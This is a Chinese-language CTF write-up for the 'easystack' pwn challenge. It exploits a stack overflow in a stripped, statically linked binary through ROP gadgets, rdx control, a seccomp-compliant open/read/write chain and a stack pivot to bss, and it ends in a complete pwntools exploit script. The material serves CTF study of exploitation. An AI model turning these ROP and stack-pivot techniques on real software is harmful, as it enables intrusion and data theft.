easystack_wp
# easystack
[toc]
# 分析
文件是静态编译的, 所以里面很多库函数, 且去掉了符号,
先运行下, 功能似乎比较简单, 也只有一个输入,
尝试输入大量数据, 会出现栈溢出,
# 调试
ida打开也是比较凌乱,
开始调试, 一直f8, 会遇到功能函数跑飞了, 然后下断点, 下次f7进入后继续一直f8, 慢慢找到关键位置,
可以找到start函数, 简单分析, 应该是有简单的ollvm的混淆, 直接调试, 一直f8, 发现在这个函数内执行功能函数, 于是下次调试跟进,
然后继续定位到这个函数调用,
再次调试并进入, 在这个调用处跑飞,
于是再次调试, 确定到了关键位置, LOAD:0000000000409513
这一部分是关键位置了, 也是同样的调试手段,
按照运行流程调试下来应该是这样:
其中.text:0000000000401317 call sub_402CF0
函数sub_402CF0
, 应该是read函数,
在最后的retn
位置会激活栈溢出漏洞,
# 利用
就是rop了,
# execve
看了下程序静态编译, 没有/bin/sh
字符串, 估计也没有system函数, 于是想通过execve, 找了下相关gadget, 基本可以使用,
poprax: 0x0000000000401001:
pop rax; ret;
poprdi: 0x000000000040117b:
pop rdi; pop rbp; ret;
poprsi: 0x0000000000401179:
pop rsi; pop r15; pop rbp; ret;
popr14: 0x0000000000401178:
pop r14; pop r15; pop rbp; ret;
movrdxr13: 0x0000000000405d11:
mov rdx, r14; syscall;
2
3
4
5
6
7
8
9
10
然后发现其实有沙盒,
于是考虑open read write, 但是上述的mov rdx, r14; syscall
后面不可控,
# rdx
但是rdx为9, 最后读取flag文件的时候只能读到前部分, 于是必须得控制rdx,
选择了这么一段:
popr12: 0x000000000040673e:
pop r12; pop r14; pop r15; pop rbp; ret;
movrdxr12: 0x0000000000402792:
mov rdx, r12; call r14;
popret: 0x000000000040117c:
pop rbp; ret;
2
3
4
5
6
首先设置r12, r14, r12赋值给rdx, r14可以继续控制执行流, 但是使用call
因此有个返回地址压栈, 我们使用个pop
即可弹出, 然后ret继续通过栈内我们的数据去控制执行流, 继续rop,
这一部分图示如下:
于是可以控制rdx,
但是这种方案直接进行orw栈长度不够, 调整各个gadget达到最小仍然不行:
这段是最小的rop:
poprax = 0x0000000000401001
poprdi = 0x000000000040117b
poprsi = 0x0000000000401179
popr13 = 0x0000000000401176
sysret = 0x000000000040785d
popret = 0x000000000040117c
popr12 = 0x000000000040673e
movrdxr13 = 0x0000000000402700
movrdxr12 = 0x0000000000402792
leave = 0x0000000000404001
rop = flat(
# rdx = 9
# open(flag, 0, ..)
poprax, 2,
poprsi, 0, 0, 0,
poprdi, flag, 0,
sysret,
# set rdx=0x200
# poprax, popret,
# popr13, 0x200, 0, 0, 0,
# movrdxr13,
popr12, 0x200, popret, 0, 0,
movrdxr12,
# read(3, flag, ..)
poprax, 0,
poprsi, flag, 0, 0,
poprdi, 3, 0,
sysret,
# wirte(1, flag, ..)
poprax, 1,
poprdi, 1, 0,
sysret,
)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 栈迁移
然后使用栈迁移的手段, 先构造个read读取后段rop到bss段, 然后迁移到bss段,
找到一段leave的gadget, 先控制rdi指向一个可写地址即可,
leave: 0x0000000000404001:
leave; mov qword ptr [rdi + rdx - 0x2f], rax; mov qword ptr [rdi + rdx - 0x27], rax; mov rax, rdi; ret;
2
3
然后可以栈迁移,
payload = b'./flag\x00'.ljust(0x118, b'a') + flat(
popr12, 0x200, popret, 0, 0,
movrdxr12,
poprax, 0,
poprsi, stack, 0, 0,
poprdi, 0, 0,
sysret,
poprdi, bss, stack - 0x8,
leave,
)
# gdb.attach(cn, cmd)
cn.sendline(payload)
# pause()
cn.sendline(rop)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# exp:
from pwn import *
context.log_level='debug'
context.arch='amd64'
cn = process("./easystack")
cmd = '''
b * 0x000000000040132F
'''
poprax = 0x0000000000401001
poprdi = 0x000000000040117b
poprsi = 0x0000000000401179
popr13 = 0x0000000000401176
sysret = 0x000000000040785d
popret = 0x000000000040117c
popr12 = 0x000000000040673e
movrdxr13 = 0x0000000000402700
movrdxr12 = 0x0000000000402792
leave = 0x0000000000404001
def sys(rax, rdi, rsi, rdx):
return flat(
poprax, popret,
popr13, rdx, 0, 0, 0,
movrdxr13,
poprdi, rdi, 0,
poprsi, rsi, 0, 0,
poprax, rax,
sysret,
)
bss = 0x000000000040c148
flag = bss
stack = bss + 0x500
def exp():
'''
payload = b'./flag\x00'.ljust(0x118, b'a') + flat(
# rdx = 9
# open(flag, 0, ..)
poprax, 2,
poprsi, 0, 0, 0,
poprdi, flag, 0,
sysret,
# read(3, flag, ..)
poprax, 0,
poprsi, flag, 0, 0,
poprdi, 3, 0,
sysret,
# wirte(1, flag, ..)
poprax, 1,
poprdi, 1, 0,
sysret,
)
'''
'''
payload = b'./flag\x00'.ljust(0x118, b'a') + \
sys(2, flag, 0, 0) + \
sys(0, 3, flag, 0x200) + \
sys(1, 1, flag, 0x200)
'''
rop = flat(
# rdx = 9
# open(flag, 0, ..)
poprax, 2,
poprsi, 0, 0, 0,
poprdi, flag, 0,
sysret,
# set rdx=0x200
# poprax, popret,
# popr13, 0x200, 0, 0, 0,
# movrdxr13,
popr12, 0x200, popret, 0, 0,
movrdxr12,
# read(3, flag, ..)
poprax, 0,
poprsi, flag, 0, 0,
poprdi, 3, 0,
sysret,
# wirte(1, flag, ..)
poprax, 1,
poprdi, 1, 0,
sysret,
)
payload = b'./flag\x00'.ljust(0x118, b'a') + flat(
popr12, 0x200, popret, 0, 0,
movrdxr12,
poprax, 0,
poprsi, stack, 0, 0,
poprdi, 0, 0,
sysret,
poprdi, bss, stack - 0x8,
leave,
)
# gdb.attach(cn, cmd)
cn.sendline(payload)
# pause()
cn.sendline(rop)
exp()
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118